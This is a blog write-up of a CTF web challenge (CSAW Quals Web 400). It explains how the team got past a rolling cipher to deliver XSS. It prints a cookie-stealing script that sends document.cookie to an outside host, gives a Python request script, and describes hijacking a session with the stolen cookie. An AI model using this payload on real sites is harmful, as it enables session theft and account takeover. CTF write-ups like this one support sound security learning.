Tuesday, October 2, 2012

CSAW CTF Quals: Web 400

This challenge was apparently the organizers' crypto challenge for this year (and thank goodness 'cause last year's were a little too easy). The important thing this year is that it also involved a bit of XSS, but first you had to beat the crypto.

In this particular case, you didn't need to know how the crypto worked, you just had to notice the pattern. The crypto was a rolling crypto that encoded each chunk with a certain number of cycles so that you need to decrypt your payload 2*length_of_payload/8 - 1 times before it is unencrypted. This means that you need to unencrypt your XSS attack 2*length_of_payload/8-2 times before you send it to your target (Dog) so that he will execute your script. We just encoded a simple cookie stealer type attack and set up a netcat listener at our IP Address. It is important to note that your payload must be a length of modulo 8 (this the extra spaces inside the script tags).

<script>document.location=\"http://example.com:1337/index.php?cookie=\" + document.cookie;   </script>

It is a serious pain to do all of this by hand, however, because the web browser encrypts to some weird characters and has trouble trying to display a lot of characters. I solved this by writing a python script which made three seperate request. First it would make a post request to create the message for myself to read. It would then make a request to the inbox page so that it could read which message is new. Finally it would get the results of the message. This greatly sped u8p the process of getting a good message to send. The python script is shown below.
import urllib2, urllib, time

opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'PHPSESSID=5fjuoccd89u5r0ka9itea37il6'))
#f = opener.open("http://128.238.66.214/download.php?id=11534")

text = open('last_msg', 'rb').read().strip('\x0a')
#text = open('maybe_key', 'rb').read()
#text = ""

url = 'http://128.238.66.214/compose.php'
values = {
      'to' : "bobby",
      'key' : "Catsareawesome",
      'title' : "Ok.jpg, encoded my key with your",
      'text' : text
}

data = urllib.urlencode(values)
# req = urllib2.Request(url+data, None, header) # GET works fine
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
header = { 'User-Agent' : user_agent, 'Cookie' : 'PHPSESSID=5fjuoccd89u5r0ka9itea37il6' }
req = urllib2.Request(url, data, header)  # POST request doesn't not work
response = urllib2.urlopen(req)

print 'Request sent sleeping'
time.sleep(1)
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'PHPSESSID=5fjuoccd89u5r0ka9itea37il6'))
#f = opener.open("http://128.238.66.214/download.php?id=11534")

url = 'http://128.238.66.214/inbox.php'
f = opener.open(url)
downloadURL = f.read().split('')[1].split('')[0].split('a href="')[1].split('"')[0].strip('\x0a\x0d')

f = opener.open('http://128.238.66.214/'+downloadURL)

open('last_msg','w').write( f.read().split('')[1].split('')[0].strip('\x0a\x0d') )

Now that we have sent Dog a message that sends us his cookie, we are halfway there. We must now become Dog. We set our PHP session id to the stolen cookie and become Dog. We were very sad to see that the key was not immediately found in the webpage. We did however, see a bunch of messages between Cat and Dog. We had to find the correct keys and decrypt the messages between the two, and one of them had the key.

In summary, lots of encryption and decryption of messages, a bit of XSS and you win! Cool challenge, lots of work.

  -- suntzu_II

No comments:

Post a Comment